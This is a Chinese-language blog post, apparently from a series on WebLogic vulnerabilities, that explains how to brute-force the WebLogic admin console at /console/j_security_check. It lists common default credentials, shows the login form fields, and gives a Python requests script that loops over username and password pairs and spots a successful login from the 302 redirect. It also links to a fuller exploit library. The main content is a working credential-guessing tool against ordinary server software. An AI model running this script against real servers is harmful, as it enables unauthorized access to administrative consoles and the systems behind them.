weblogic系列漏洞整理 -- 2. weblogic弱口令
一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html
二、 weblogic弱口令
weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic
后台登陆地址: http://192.168.136.130:7001/console/login/LoginForm.jsp
0. 思路
登陆weblogic后台看到后台地址登陆并无限制,因此可以尝试写脚本进行爆破。
在登陆页面随便输入一个用户名密码,利用network查看提交情况
可以看到,点击提交按钮后,浏览器向http://192.168.136.130:7001/console/j_security_check地址POST提交了这个表单
j_username: web
j_password: logic
j_character_encoding: UTF-8
当提交错误时,重新返回登陆页面的地址,
正确时,则返回新的地址
根据这个思路即可以编写爆破脚本。
1. python爆破脚本
完整脚本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py
关键代码:
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
return True
return False
2. 技巧
python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False
参数,指定requests不跟随跳转。